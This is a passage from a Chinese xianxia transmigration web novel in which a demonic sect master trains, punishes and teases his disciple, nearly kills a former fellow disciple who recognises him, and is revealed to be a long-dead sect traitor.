秦无昼:“剑出本心,自在随心,只有庸才才需要一招一式都按照课本上来。”
意寒星指自己:“师尊有没有想过,可能我,就是普通人呢?”
秦无昼一脸恍然大悟:“对哦。”
意寒星:呵呵,和你们这帮天才拼了。
“那师尊可以亲自示范吗?”
秦无昼挑眉,接过她手里的木棍,却不是挥剑,而是在沙地勾画起来,意寒星凑过去一看,窘然道:“师尊你的画工可真是……唉。”
她分明什么也没说,但那一声“唉”里仿佛包含千言万语,秦无昼眉梢一挑,觉得自己有必要澄清一下:“实不相瞒,其实我画画的水平还可以,是这木棍沙地不好使……”
正说话间,快被遗忘的鸟头魔朝秦无昼扑来,后者随手拍在对方长喙上,莞尔道:“怎么,你也想来观摩我的画技?”
他出招果决狠辣,意寒星还没感觉到灵力的波动,鸟头人身魔族就“砰”地一声,脑袋炸开了。
梅开两度,又见血雾的意寒星:……真的麻了。
再这么下去,她怀疑自己的晕血症都要在这种过敏疗法里自愈了。
秦无昼语气有点嫌弃:“以你的水平,今夜能学一招就不错了。”
意寒星用力闭眼,缓过片刻,才重新睁眼看地上那堆鬼画符。
呃,怎么说呢,这手舞足蹈的小人,虽然笔触简陋,动作意思却很清晰,就是有种十分眼熟的既视感……
她忍不住道:“师尊,你这一招叫什么?”
秦无昼想了想,随口道:“鸿鹄将至。”
意寒星:“你现取的吧。而且为什么不是‘雏鹰起飞’?”
这动作和第二套全国中小学生(幼儿)系列广播体操第一式一模一样啊!
秦无昼笑眯眯道:“‘雏鹰起飞’,有意思,你愿意这么叫也可以。”
“这么随便的吗?”意寒星嘀嘀咕咕,心道这人未免也太不尊重剑道了,也难怪,他又不是剑修。
方才秦无昼杀了一只鸟头魔,内心旺盛的杀欲得到释放,十分兴奋,他吹了声响亮的口哨,重重跳下沙丘,魔族立刻尖叫四散而逃。
他随手拧住一只魔的脑袋,抬头朝沙丘上的意寒星咧嘴笑:“为师示范,你看着点。”
说完,就单手将那只魔捅了个对穿。
大概为了照顾意寒星这个初学者,他只用了左手,另一只手背在身后,没有动用灵力,身形轻盈腾挪之间,漆黑的发丝在空中飞扬。
他在溃散的魔群之中来回穿梭,所到之处血光遍地。
“灵力与法术招式乃体用的关系,灵力为内体,法术招式为外用。”
意寒星忍着晕血的不适,在脑内自我转换了一番,心道大概就是电流和电器之间的关系吧。
“活物也好,死物也罢,世间万物皆有弱点,区别只在于你能否静下心来,观察发现。”他一边虐待对面的魔物,一边抽空向意寒星开启修仙常识教学,“就比如这只蛇形石魔,虽然钢筋铁骨、坚硬无比,却少韧性。”
他忽地攥拳,在石蛇七窍用力一砸,后者立时碎为齑粉。
漫天飞扬石粉如雪,意寒星目不转睛地盯着下方的紫衣青年,暗暗记在心中,同时不忘在危险的边缘试探:“那师尊呢,你的弱点是什么?”
秦无昼略勾起唇角,语气笃定:“我不会有弱点。”
是不会有,还是不能有?她想了想,还是没问出口。
石蛇全程被秦无昼
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压着打,临死前终于不甘心地爆发,浑身上下长满的尖刺“噗”的一下朝着秦无昼喷出。
不巧的是,观战的意寒星就站在他身后,秦无昼一个闪身躲开了,可那闪着寒光的尖刺却朝着她冲来。
手腕上被人拉了一把,意寒星一个踉跄,抬起头,看见了秦无昼的侧脸。
一道明晃晃的光晕,是一枚水滴状的银色耳环,在她放大的视线中摇晃,几乎成了慢动作。
她在一次意识到,自己这位便宜师尊放在现代社会,八成得是个前卫时尚潮男。
秦无昼松开了她的手,笑嘻嘻地凑近观察:“方才,看清了吗?”
意寒星怔了怔,才点头。
“那好,接下来你去和它打。”秦无昼将木棍塞进她手里。
意寒星傻眼——这人刚刚的示范根本没用上剑啊!
“还愣着干嘛?”秦无昼指了指沙地上的鬼画符,语气里有点嫌弃,“以你的水平,只学一招就行了。”
那只石蛇还真是个硬骨头,被秦无昼打得鼻青脸肿,现下还能精神十足地朝着意寒星扑来。
意寒星硬着头皮和他对了几招,体内灵气就已经有了干涸之象。
这可怕的炉鼎体质,人家御剑是用灵力,她御剑是漏灵力。她一边左支右绌,一边偷偷摸摸瞄秦无昼的神色。
他大马金刀地坐在石头上,抱着胳膊,面色平静地盯着她,不知正在想什么。
完了,该不会被他看出什么来了吧?
意寒星心中愈发惴惴不安,手上的剑招不自觉失了准度,忽然一个刺空,对面的石蛇立刻找到了反攻机会,猛地吐出猩红蛇信!
忽然,它一个僵直,整只魔都定住了。
意寒星若有所感,扭头,果然看见秦无昼眸中闪烁,和那次在他寝殿看到的一样,像是有万千玻璃碎片藏在他的眼睛里。
他用幻花瞳术控制了石蛇,在后者滴溜溜乱转的惊恐视线中,走到它身边,轻轻松松将它的脑袋拧了下来,和尸体一起随脚踢下了沙丘。
期间还特地把意寒星拉到了一边,免得她又被血溅到。
意寒星心情复杂,她现在想起来了,这魔在原书中还算有点戏份,女主卫如意有一次外出除魔,遇到的魔物皮肉刀枪不入,吐信有剧毒,一触即死,她和一众剑宗修士费了好大劲设下陷阱,途中还牺牲了一名年轻弟子性命,最终才将这只石蛇砍成四截。
但现在看来,这只魔物炮灰要提前杀青了。
不知何时,秦无昼又抓了一只新的人头双蛇身魔上来,这次他一句废话也没有,直接将魔物往意寒星面前一丢。
大概是亲眼见证了先前几个同类的惨死,这只人头双蛇身魔被吓破了胆,不仅不敢对意寒星下死手,甚至还笨拙地甩起两条粗重的蛇尾,活像只试图讨人欢心的傻狗。
意寒星无话可说,她就只会一招“雏鹰起飞”,但对面有意全力放海,一人一魔一个真菜一个假菜,倒也能勉强战成个平手。
她在对面全力放水下走了十几招,自以为渐入佳境时,身后秦无昼忽然冷冷喊了一句:“停下。”
她不明所以,眼睁睁看着他走到蛇尾魔身边,后者大概学乖了,自以为自己兢兢业业配合意寒星练剑就能逃过一劫,结果秦无昼笑眯眯说了句“多谢”,然后又把它的脖子拧断了。
“今夜先这样吧。你的资质,唉……”
他留下一句令意寒星血压升高的话,又往一脸呆滞的意寒星手里塞了一杯不知道哪来的蜂蜜水,让她坐在沙丘上等他,自己去下面大肆屠杀。
14. 小惩大诫(3)
半柱香后,秦无昼袍角滴着血,心情愉悦地哼着小调回来了。
意寒星一边喝着温热的蜂蜜水,往沙丘下一瞥,只见原本雪白的沙海成了猩红一片,碎肢断臂密密麻麻,宛如人间地狱。
枯骨墟魔气深重,即使杀完了这一批,也还有下一批新的魔诞生。但看秦无昼的熟练程度,估计这地方已经成了他的韭菜田,不知道来过多少次,割过多少批魔头“韭菜”了。
经历过一番血与汗的洗礼,意寒星一直保持沉默,与看起来相当兴奋、走路都连蹦带跳的秦无昼形成鲜明对比。
重新缩地成寸回到鬼市客栈,吴英子依旧不知所踪,她心中担忧,忍不住道:“师尊,和我同房的那个女修,你把她弄到哪里去了?”
秦无昼走在她前面,跳过门槛:“让她换个地方睡一觉,明天再回来。”
明天?什么意思,这惩罚还没完,要持续一整夜吗!
意寒星脚步一顿,刚要开口,忽然有人“叩叩”敲门:“意姑娘,你还好吗?我是江应悔。”
几乎是江应悔自爆姓名的同时,秦无昼脸上的笑容几不可察地淡了一点,随即嘴角却裂开更大的弧度。
意寒星一见他那灿烂的笑容就头皮发麻,赶紧抢先挡在他和门板之间:“江仙长有什么事吗?”
江应悔语气模糊:“我闻到你屋子里有奇怪的味道,里面是不是还有别人?”
意寒星心道这人的鼻子是狗做的吗,同时自己下意识也闻了几下,除了她和秦无昼身上如出一辙的淡淡熏香香味,什么也没闻出来。
“没有啊,只有我一个人,吴仙长有事也出去了。”
江应悔默了会,才道了句“是吗”。
他却没有立刻就走,不知在犹豫什么,意寒星眼风一扫,心脏险些停跳,亲娘诶,她怎么忘了屋子里还点着灯!
她眼疾手快一个飞扑,将烛台吹灭,结结巴巴喊道:“我,我真的要睡了!”天灵灵地灵灵,保佑方才灯下没有投出两人影子,被江应悔发现。
屋外人沉默片刻,毕竟不敢夜闯女子的厢房,留在门外的影子停了一会,慢慢走开了。
打发走又一个不速之客,意寒星松一口气,回身便看见秦无昼居然还没走,反而登堂入室,坐在她的床上。
他的袍角还在滴血啊啊啊!
意寒星有点头晕,只好避开不看,硬着头皮走上前:“师尊还有什么吩咐?”
秦无昼笑嘻嘻的,奇道:“你这么紧张,别人还以为你金屋藏娇。”
意寒星皮笑肉不笑:“师尊若是没吩咐,那今晚就到此为止——”
秦无昼直接打断:“接下来,你打算怎么接近林无咎?”
来了,这老鸨又带着他阴魂不散的任务来了。她一边心里暗骂,倒没想想起来骂对方老鸨连带着把自己也骂进去了,一边试探着胡说八道:“呃,充分展示我美貌的外表,还有金子一般的心灵,争取让他爱上我?”
秦无昼但笑不语,在床上换了个更舒服的姿势。
意寒星被他笑得发慌,只好虚心求教:“还请师尊赐教。”
秦无昼不知想起什么,轻飘飘道:“合欢宗那些媚术,用在我身上的时候不是很厉害?”
意寒星愣了一下,脸颊后知后觉有点烫,不是害羞,而是尴尬:“那不一样……”
她方才在枯骨墟对练出了一身汗,鬓发微湿,桃花上脸,随着她扭开脸的动作,一缕散乱的发丝黏在脖颈。
随着她的一举一动,一股淡淡甜香传来,秦无昼从中分辨出了他自己身上的熏香醉千金的味道,却又和他不完全相似,还混了别的幽幽不知名花香,像是独属于女子的闺房香气。
说起来,现下他所处的,也是意寒星的闺房。
夜半寂寥无人,先前他跳窗而入的窗子没有关,丝丝缕缕清风从屋外吹如,屋内没有点灯,全凭屋外穹顶夜明珠冷光照亮,影影绰绰中,少女脖颈细白,汗珠晶莹,宛如浸了冷水的一轮明月。
那种在枯骨墟看见她被藤魔缠紧大腿的奇怪感觉又来了,秦无昼托着腮,看了她一会,忽地平静道:“先在我身上试试。”
意寒星:“啊?”
秦无昼难得地有耐心:“为师看看你的合欢术修到什么程度了。”
意寒星踌躇不前:“那晚,师尊不是已经看过了?”
秦无昼又盯了她一会,忽然笑起来:“你这是拒绝?”
意寒星猛地打了个寒噤,立刻正色:“怎么会!”
她从善如流地爬上床,同秦无昼面对面跪着。
接下来,应该怎么做来着?像武侠小说一样,两个人脱光了掌对掌双修?
丸辣,到底合欢宗修士是怎么采阳补阴的啊!
两人面面相觑,秦无昼还换了个姿势,双手撑在身后,上半身后仰,垂着薄薄的眼皮,懒洋洋地催促:“怎么还不动手?”
无法,意寒星只好硬着头皮,探过身去,手指碰到他的领口。这人衣服上全是血污,还好穿的深紫色,倒也看不太出来,要不她早就晕过去了。
但还是看了心烦,先把这脏衣服脱掉好了。
秦无昼的视线一错不错地盯着她的脸,即使她的指尖因为太过紧张,不小心碰到了他的喉结,他也没有丝毫反应。
他领口最上面一颗系扣没有系好,隐隐约约能瞧见两枚精致伶仃的锁骨,锁骨上还挂着几点殷红血珠,左耳银色耳坠在烛光下轻微闪烁,炫得意寒星有点头晕脑胀。
第二枚系扣有点难解,意寒星不得已,只能半俯下身,更靠近了秦无昼,就能闻到他身上那种带点甜味的特殊香气,和单纯熏香上的味道不一样,应该是他自带的。
意寒星的脑袋更晕了,手指哆嗦好半天,才解开上衣系扣,准备直起腰时,散开的头发却不知道为什么被系扣缠住,稍微一使劲就扯到头皮。
她手忙脚乱地又去整理头发,面前的人呼吸匀长,倒也没催促。
解了半天,结果头发缠得越来越紧,她半张脸都快贴在秦无昼胸膛前,正无措间,听见上方的人幽幽道:“倒是小瞧你了,花样还挺多。”
意寒星:?
她反应过来了,这人怕不是以为她缠头发是勾引他的有心之举吧!
一道灵光闪过,秦无昼直接割断了她缠在自己胸前的长发,然后双手扳着她的肩膀,将人推开,自己低头整理衣裳:“勉勉强强。”
意寒星赶紧把其余碎发扎好:“……呵呵,多谢师尊指点。”这一关看来是过了。
秦无昼起身下床,人往外走,走出两步才想起来什么,又返身回来,站在床边,朝她弯下腰,盯着她看:“我记得,当初交给你的任务期限,是三日。”
意寒星咯噔一声,心道果然没完,连忙为自己辩解:“虽然弟子没有杀了林无咎,但好歹留在他身边了,任务不能算完全失败吧?”
秦无昼道:“我当初说的清清楚楚,取了林无咎的元阳,并杀了他——你做到了哪一点?”
还能和她沟通,那就是还有商量的余地,意
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寒星不服输道:“其实弟子实在不明白,师尊既与林无咎有仇,派我杀了他尚在情理之中,可为何还要弟子谋取他的元阳?”
且不说女主马上就要登场了,到时候男主的元阳还在不在,就说原书里可没提过林无咎修的是无情道,那让她去睡林无咎能有什么意义?
秦无昼没什么感情地微微一笑:“告诉你也无妨。不错,简简单单杀了他多无趣,死在最爱之人手底下,才有点意思。”
那你可是找错人了,出门右拐见见卫如意吧。
意寒星叹了口气,心道看起来这两人过往仇怨不浅,一边心念飞转,义正言辞道:“师尊这就错了。”
秦无昼似笑非笑:“哦?”
意寒星忽然正色道:“师尊从未爱过人吧?”
秦无昼的笑容加深,只是不语。
想也知道,这种只知道杀人的魔头怎么可能关心什么情爱,不过这也正好,给了她胡说,不,说服对方的机会。
“所谓情爱,不重在身体相触,而在于灵魂接近。”意寒星将过往各种小说偶像剧的经验都搬了出来,“仅有□□亲近而无心灵相合,按我们老家的话说,不过是短期的一夜情、长期的炮友而已,如同人之衣服,旧了能换,毫不怜惜,寡情少恩,就算事后我背叛林仙长,他也不会为我掉下一滴泪。”
秦无昼似乎被她勾起了兴味,长眉微微一挑:“炮友,这说法倒是有趣……这么说来,你我也是一夜情,或炮友——寡情少恩,嗯?”
意寒星一噎,立刻讨好地甜甜一笑:“那怎么一样!我们师徒情深义重,我恨不得把整颗心掏出来献给师尊,我的情也真,我的爱也真,月亮代表我的心——”
“行了。”秦无昼见她说的比唱的还要好听,直接打断,“说正事。”
“哦。”意寒星立刻收起笑容,一板一眼地继续,“所以说回林仙长,师尊想要让他尝尝被所爱之人背叛的滋味,要让他爱上我,就不能只用简单粗暴的身体取悦的方式,而是要触动他的内心。”
“说了半天,全是些废话。”秦无昼不以为意,“你到底想做什么?”
意寒星却微微一笑,那笑容中皆是志得意满:“只要师尊愿意让我放手一搏,不一定要用双修的方式,我也能让林无咎爱上我。”
反正,爱有很多种嘛,谁说朋友之爱、兄妹之爱、亲人之爱不算爱呢。
秦无昼定定看了她一会,似乎在权衡什么,片刻,忽然道:“事不过三,五日之内,不能让林无咎爱上你,你自己好自为之。”
……五日就五日吧,反正能多活一天是一天。意寒星刚松了口气,肩上却落下了他的手。
那只骨节修长的手绕到了她脖颈之后,灵巧几下,解开了绑在脖子后的系带。
意寒星的脸腾地就烧起来了——那是她小衣的系带!
秦无昼两指捏着细细的袋子,慢慢将连接的衣料往外抽。
寂静无声的室内,柔软织物划过皮肤,衣料摩擦的窸窣声响被成倍放大。
“明日,一整日,你都只能这样出门。”秦无昼朝她活泼泼地眨眼睛,“这就是为师对你任务失败后的第一次惩罚。”
什么!之前那堆不算吗!
然而她没有反驳的机会,因为一说完,秦无昼就将那条带着细细肩带的轻薄衣料收进掌中。
他下意识低头看了一眼,不过巴掌大,柔软,仿佛一撕就破,从未见过的样式,捏在指尖总感觉有些异样。
似乎,还带着一点徒弟的体温。
15. 昔日同门
秦无昼很快把心头涌起的那些异样甩到一边。
他将小衣塞进袖口,临走前瞥了一眼坐在床上的傻徒弟,后者呆呆愣愣的,他一见就想笑。
于是就这么翘着唇角,大步流星跨出门,夜里客栈走廊空无一人,唯有木屐踏在地板上的叩叩声响。
拐过一个弯,他忽然停了下来。
三步之外,墙根的阴影里,缓缓走出一道人影。
那人眼眸中闪烁着狂热的光芒,神色似是恐惧、似是兴奋,连脸上横穿鼻梁的长疤都变得扭曲起来。
来人正是江应悔,他死死盯着秦无昼的脸,喃喃自语:“是你,果然是你,你竟没有死!”
自从那日在意寒星身上闻到了秦无昼的气息,江应悔夜夜不得安眠,当初他参与了围攻秦无昼一战,虽然后者身败名裂、死无全尸,但他总觉得那人不可能这么轻易地死去。
是以,当今晚他再次闻到意寒星屋内传来熟悉的灵气气味,便守在门口没有离开。
竟果真令他守株待兔,等到了他!
秦无昼看了他一会,忽然抬手冲他打了个招呼:“哟,好久不见,江师弟。”
他的语气轻松,江应悔却仿佛被毒蛇咬了一口,脸色顿时煞白一片,半晌都没能说出话。
秦无昼背着手,漫不经心踱步走到他面前,还有半步远的距离,江应悔才猛地回过神,踉跄着后退一步,凄声尖叫起来:“你、你到底是人是鬼?!”
秦无昼屈指冲他比了个“嘘”的手势:“求饶的声音小点,别人还在睡觉呢。”
江应悔却已经被吓破了胆,从前在玉虚山,他视此人为天上月、世中仙,那人以一人之力可屠半宗,他江应悔又怎么能敌得过他?!
昔日败在对方手下的屈辱阴影,霎时间犹如山崩海潮涌来,江应悔疯了一般,直接拔剑刺向秦无昼!
秦无昼依旧背着手,江应悔没看清他究竟是怎么避开的,只见那人犹如一道漆黑的鬼魅,一个眨眼之间,江应悔的视野就被那人放大的笑容整个占满。
那笑,无比张狂肆意,又带着三分说不出来的邪气,秦无昼就带着这般灿烂的笑容,一手钳住江应悔的脖颈,猛地将人扣倒在地,江应悔的后脑勺砰地砸在地上,厚实的木地板瞬间被砸出一道深坑,木屑飞溅,长廊两边的青花瓷瓶“乒乒乓乓”地爆碎!
秦无昼笑着收紧手指,江应悔颈骨随之寸寸断裂,在他掌下发出“咯咯”脆响,鲜血染湿了他的手指。
江应悔徒劳地掰住他的手腕,口中不断流出血沫,将领口染红:“夜师兄,我……”
他胡乱扯住秦无昼的袖口,扒拉了几下,秦无昼却忽然皱眉,将他甩到一边。
江应悔捡回一条命,勉强爬起来,看见秦无昼蹲在原地,把手上的血用衣摆擦了擦,然后才用还算干净的手把掉出袖口一半的东西塞了回去。
他的动作极快,落在江应悔充血的视线里,只能依稀看见一抹极为浅淡的粉红色。
“弄脏可就麻烦了,到时候还给她又被说。”秦无昼嘟囔了一句什么,站起身来。
江应悔嘴唇蠕动了几下,最后还是没把那句“夜师兄”喊出来。
楼下隐隐传来了跑动脚步声,两人在此处的冲突已经惊动了客栈内其他人,秦无昼默不作声,往楼下瞥了一眼,重新看向江应悔。
对上那双灼亮金瞳的一瞬间,江应悔只觉脑后神经一痛,接着眼前一黑,就什么都不知道了。
*
江应悔醒来的时候,自己躺在走廊上,天色蒙蒙亮,客栈里寂静无声,他的耳边却犹如巨钟狂响。
是夜弥天!
他一个瞳孔紧缩,一个鱼跃而起,踉跄着一遍拔剑一边往楼下冲去,果然、果然!他果然没有死!他为什么会出现在这里?是来找自己报仇的吗?
江应悔凭着模糊的记忆,朝着昨夜那人消失的方向追去,砰地踹开门,里面已经有了一个人。
里面的人与他对望,彼此皆是意外,“意姑娘?!”江应悔皱起眉。
意寒星看起来比他还要诧异,无怪乎其他,此时江应悔头脸、衣襟上全是暗色血迹,配上贯穿鼻梁的狰狞疤痕,在朦胧天色下格外森然恐怖。
原本她似乎正在找什么东西,弯着腰,捂着胸口,一见人险些蹦起来,立刻躲进了一条晒起的床单后面,声音有些不自然:“江仙长。”
鬼鬼祟祟。
江应悔认定此人有问题,大步上前,掀开那条被单:“你躲什么——”
他看清了眼前人的模样,话卡在了喉咙里。
她今日依旧编了一条麻花辫,身穿浅粉襦裙,只是不知为何桃花上脸,眸光水盈。
她不敢和他对视,似乎是被对方凶神恶煞的模样吓着了,只是一味地躬身往后缩:“江仙长找我有事?”
一股古怪的感觉涌上心头,江应悔喉头一堵,半晌,张开嘴时却鬼使神差道:“你不舒服?”
意寒星一怔:“啊,没有啊。”
江应悔也不知道自己怎么回事,一时间居然连自己来此的目的都忘了,下意识再次上前逼近:“可是你的脸看起来很红。”
意寒星大为悚然,抱着胸往后退了两步:“大概是这屋子里太闷了!”
真是夭寿了,秦无昼那该死的混账,居然说到做到真的把她的小衣抽走,夏日的襦裙又轻薄,一有什么变化就能看得一清二楚,她现在甚至不敢做大幅度的动作。
江应悔注视着她,总觉得她同往日有些不大一样,就连那条浅粉的襦裙,今日看起来也比往日更加轻盈灵动……
“喵!”
不知从哪里蹿出一只黑白相间的奶牛猫,爪子一下子划破江应悔的手背。
江应悔骤然吃痛,下意识怒然,拔剑就要砍了这野猫的脑袋。
“仙长住手!”意寒星连忙张开双臂挡在奶牛猫前面,“这是我的灵宠。”
那只奶牛猫似乎十分通人性,又“喵”地叫了一声,跳上意寒星的肩膀,她连忙伸手将它抓下来,不顾后者的挣扎,强行摁在怀里。
江应悔将手背的伤口治好,痛过之后,头脑反倒清楚了一些,他定了定神:“是吗。是我冒昧了。”
“哪里,是我的猫抓伤了你在先,我给江仙长赔个不是。”
奶牛猫不满地“喵”了一声。
江应悔素来不是个多话的性子,也不擅长同女修交流,只“嗯”了一声,便不知该说什么了。
意寒星琢磨着自己也该离开:“那我不打扰仙长。”
说完就准备溜之大吉,江应悔盯着她的背影,心中忽然一动:“等一下。”
意寒星脚步一顿。
江应悔道:“昨夜,意姑娘有听见什么吗?”
意寒星低头看了一眼怀中一脸事不关己的猫,想了想,摇头:“没有,我睡得很沉。”
江应悔脸色阴晴难辨,又道:“意姑娘身上,有我很熟悉的人的气味。”
意寒星又瞄了一眼怀中正在闭目养神的始作俑者:“是吗?什么人啊。”
江应悔听起来有些低落:“是玉虚山弟子,我的师兄,也是林师兄的同门小师弟,他姓夜。”
这是谁?意寒星脑袋上几乎冒出了问号,这是原书里没出现过的角色啊。
“抱歉,我不认识姓夜的人。”
江应悔自嘲地笑了笑:“自那次围杀之后,除了我们几个幸存者,恐怕全天下人都不记得他了。”
意寒星转过身:“围杀?”
江应悔神色复杂:“五百年前,惊动天下的玉虚山弟子入魔叛宗案,当事人便是夜师兄。”
听他的语气,似乎这应该是修仙界人人皆知的大事,可意寒星是穿书的非原住民,此刻只能装出一脸深沉:“竟是那件事。”
江应悔没有听出她的伪装,继续艰难开口:“夜师兄,曾经是年轻一代最杰出的天才,十七年修金丹,一百二十三年入元婴,出事之前已经有了进入化神期的迹象,他是有史以来最年轻的金丹、元婴修士,这个记录,在他去世之后百年,都未曾打破。”
意寒星讶然:“他已经死了?”说起来,秦无昼能制造分身,至少也已经是化神期修为了。
江应悔终于克制不住,露出了痛苦的神色:“他入魔,重伤林师兄和自己师尊,又接连屠杀玉虚山两千八十七名修士,最终被五大长老连同镇压,抽骨灭魂,尸骸镇压于枯骨墟之下。”
意寒星骤然低头,奶牛猫不知何时睁开了眼睛,一双金瞳平静地和她对视。
片刻,意寒星才回过神:“敢问江仙长,你师兄的名讳是什么?”
江应悔道:“他罪大恶极,偏偏当初声名在外,吸引了无数追随者,为了防止有人误入歧途、替他招魂,玉虚山设置了镇名大阵,禁止任何人提及他的姓名,我也无法说出口。”
“这么多年过去了,除了我们几个当事人,该是无人记得他名讳了吧。”
*
江应悔目送少女携猫远去,眸色晦暗不明,他在原地攥
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紧拳头,重新在浣衣房内搜索一圈,无果,房内干干净净,连一丝魔气也无,若不是碎裂的颈骨还在隐隐作痛,他怕是真要误会昨晚桩桩件件都只是噩梦了。
同来时一般突兀,秦无昼消失得也无影无踪,江应悔不敢有瞒,下一刻直接去了林无咎的房中,如实禀告夜间遇袭之事,后者对六神无主的江好言安抚,又与之商议一番,以备后手。
另一厢,送走了江应悔,意寒星带着失而复得的奶牛猫回了自己的房间,仿佛怀里踹了个不定时炸弹。
等关好门窗,落下静音咒,她才将奶牛猫端端正正放在床上,自己跪坐在地上,唤道:“师尊。”
秦无昼眯着眼看完了她这一系列动作:“又怎么了?”
意寒星一脸严肃:“先前是我有眼不识泰山,竟然不知道师尊您老人家有这么光辉的过去。”
可不是嘛,入魔叛宗的天才,搞了一场人人闻之色变的大屠杀,然后又不知怎么的复活了,甚至修为比以前更甚,还得了天下无双的神器。
除了原书男主,谁还能挡得住这种祸害?
反正她不能。
意寒星带了三分真心实意的恭维:“师尊,所以您原名姓夜。”
他口口声声和林无咎有仇,应该就是那时结下的吧?虽然不知道这人怎么死了又活、还跑到青棠谷来了,但她现下稍微明了一些。
为什么苏媚娘说秦无昼为人奇怪,分明生性张扬、好大喜功,继任合欢宗宗主以后却压抑天性,闭关锁谷,更不许他人随意谈论,十有八九就是为了掩饰自己仙门在逃通缉犯的真实身份。
这么说,难不成一开始秦无昼怀疑她、要杀她也是因为这个,担心她识破了他的真实身份,会去向仙门告发?
秦无昼不置可否,反而道:“有些事情,不知道反而更好。现下你自己说,我该不该留下你?”
果然如此!意寒星一僵,立刻膝行着挪过去,恭恭敬敬地替他从头到尾撸毛。
一开始的时候,秦无昼死活不肯让她碰,但在她坚持不懈的攻势下,奶牛猫终于允许她接近了。
猫眯起眼睛,翘着毛茸茸的下巴,惬意地享受她的轻挠:“讨好为师也是无用,你的性命只在我一念之间。”
意寒星老老实实地点头哈腰:“当然当然,我待师尊,一心一意!”
她愈发殷勤地替秦无昼梳起毛来,不知过了多久,她的手臂有点酸,移开来一看,黑白相间的小猫已经蜷成一团,睡着了。
在外人面前毫无防备地睡着,这可不像他的作风,意寒星摸了摸小猫的脑袋,有点烫。
《霸道仙尊日日强制爱》里提过一嘴,玻璃日过度使用后会给宿主带来副作用,想到秦无昼昨晚杀了那么多魔,她估计对方是遭到玻璃日反噬了。
趁他病,要他命!意寒星再次蠢蠢欲动起来,手落在他的身上。
……但是为什么偏偏是猫的形态。
谁能对一只小猫下死手啊?!
反正她不能。
其实,就算伤了分身,本体也还是活着的吧,何况他们的塑料师徒关系好不容易缓和了一点(?),现在或许……并不是个作死的好时机。
意寒星叹了口气,将猫搂进怀里,趁着天还没完全亮,先睡一觉吧。
她内里空空,明天绝对是不能出门了。
就在意寒星入睡半个时辰后,秦无昼迷迷糊糊睁开了双眼。
发觉自己被人抱在怀里,他的神色顿时变得有点古怪。
已经记不清有多久,他没有被人抱在怀中了。
说起来,自己明明从不允许别人靠近,连最开始的猫分身都不允许她碰,昨晚居然让她从头到尾摸了好几回……
那时他的玻璃日反噬,不由自主就陷入了昏迷,只依稀觉得身旁有一股很舒服的气息,便不由自主地靠近了,然后触碰到了什么柔软温暖的事物,像是冬夜里燃起的一把篝火,他这个冻僵之人得以渐渐复苏。
这蠢徒弟知道了他的真实身份,居然没有趁着他昏迷跑去告密,也没有对自己下手。
眼前,是少女放大的睡颜,他盯着看了好一会,不知在想什么。
对方咕哝着说了句梦话,翻身想把怀中的猫抱得更紧。
秦无昼回过神来,下意识皱眉,想要从她怀里爬出去。
两只前爪按下,虽然隔着一层外袍,但少了一层小衣,感触格外明显。
他怔了一下,才意识到那是什么。
心脏忽然漏跳一拍。
16. 新的马甲
意寒星一觉睡到天光大亮,醒来时便发现怀中空空如也。
奶牛猫秦无昼又不知道跑哪去了。
意寒星拢起睡得有些凌乱散开的衣领,翻身下床,没找到猫,又用玉简联络,对方也没有回复,她不禁担心起来。
并不是她突发恶疾圣母上身,开始操心秦无昼的安危,而是怕牵连到自己。
现下她知道了秦无昼的身世,大致也推测出了他与玉虚山不死不休的血海深仇,秦无昼明面上令她来攻略林无咎,恐怕实则把她当做螳螂捕蝉黄雀在后的前蝉。
换句话说,她就是个倒霉诱饵,用来吸引林无咎一行人注意力的。
而他自己动辄消失,十有八九是去干杀人越货的勾当。
放在从前,意寒星当然不想掺和进这两派的斗争当中,但她怕秦无昼连带着暴露她的身份。
虽然昨晚她没亲眼见到秦无昼做了什么,但江应悔总不能是莫名其妙跑来找她说那些话,他俩应该交过手,或者至少碰过面,足以引起江应悔怀疑了。
若是被发现奶牛猫就是秦无昼,那她如何解释?
意寒星想了想,觉得还是得找到他再说,于是闪身出了客栈。
须臾,她从一家成衣铺中出来,换了一身男装利落打扮,裹胸布正好解决了燃眉之急,行动反而更轻便了一些。
秦无昼不许她穿小衣,又没说不能用别的替代。
她顺带还买了一副新的面具,同衣裳一样,走的都是朴实无华的路子。
回到客栈时,林无咎正带剑宗的人往外走,看见她时还愣了一下:“意姑娘?今日怎么这副打扮?”
意寒星只道是这样方便行动,又问他最近有没有看见自己的灵宠。
“未曾。意姑娘你的灵宠又跑丢了?”林无咎好笑。
指不定秦无昼这时候就在某个阴暗角落里注视他们呢,正是个刷忠诚度的好时候,意寒星露出一脸愁容,哀哀切切:“小白那么小,能跑去哪里,我实在很担心。”
林无咎安慰了她几句,她才装作强打精神的样子:“林仙长,你们今日是又要去万宝大会吧?”
林无咎却摇头:“我们收到了无相之主的邀请函,据说所有在万宝大会上花费千两灵石以上的客人,都收到了邀请。”
果然,林无咎提前掉马的蝴蝶效应来了。
无相之主宴请宾客,在原书中也有此一节,只不过原本是在万宝大会闭幕之后,作为故事的收尾,如今提前,八成是无相之主为了试探玉虚山弟子的实力。
原著里描写无相之主“神出鬼没、是个习惯在背后害人的老阴比”,只怕这场邀请看似请的是所有客人,实则是针对玉虚山弟子一行的鸿门宴。
这种热闹,秦无昼应该也不会错过?左右也没头绪,不如试试去琳琅府找他。
意寒星“哦”了一声,心念微转,改用眼巴巴的目光瞧着林无咎。
后者被她看得无奈,只好道:“也罢,这几日你与我们同进同出,恐怕在外人眼里你早与我们是一路人了。只留下你一个在客栈,未免危险。意姑娘若是无事,我们可以一同前往。”
能和任务对象多相处,也是意外之喜了,意寒星闻言笑起来:“太好了!我早就想看看大名鼎鼎的无相之主长什么样了。”
她将一个娇生惯养、不谙世事的富家千金演得入木三分,林无咎面上似乎没有怀疑,只是笑着颔首。
无相之主的宅邸琳琅府坐落在整个鬼市的中心,红墙金瓦,气派万千,周围商铺犹如众星拱月,环绕着这栋三进大院。
意寒星跟着前来引路迎接他们的府中侍从,四处打量,觉得这地方有点像缩小版的紫禁城。
“诸位客人,我家主人正在厅上等着。”负责接引他们的白衣侍从说完就准备退下去。
经过意寒星身边时,他脚步微微一滞,不知有意还是无意,浑浊的目光在她身上滑过,眼底涌动复杂的暗光。
赶在意寒星察觉前,侍从再次悄无声息地退了下去。
众人依次进入正厅,一进门便是鲜花环绕、丝竹悦耳,两旁的宴席已经摆好,各色珍馐美酒被侍女放在盘中,鱼贯而入。
中央高位摆着一张披着虎皮的长凳,上头坐着一人,姿态懒散,一身白衣胜雪,脚上挂着两只木屐,脸戴面具。
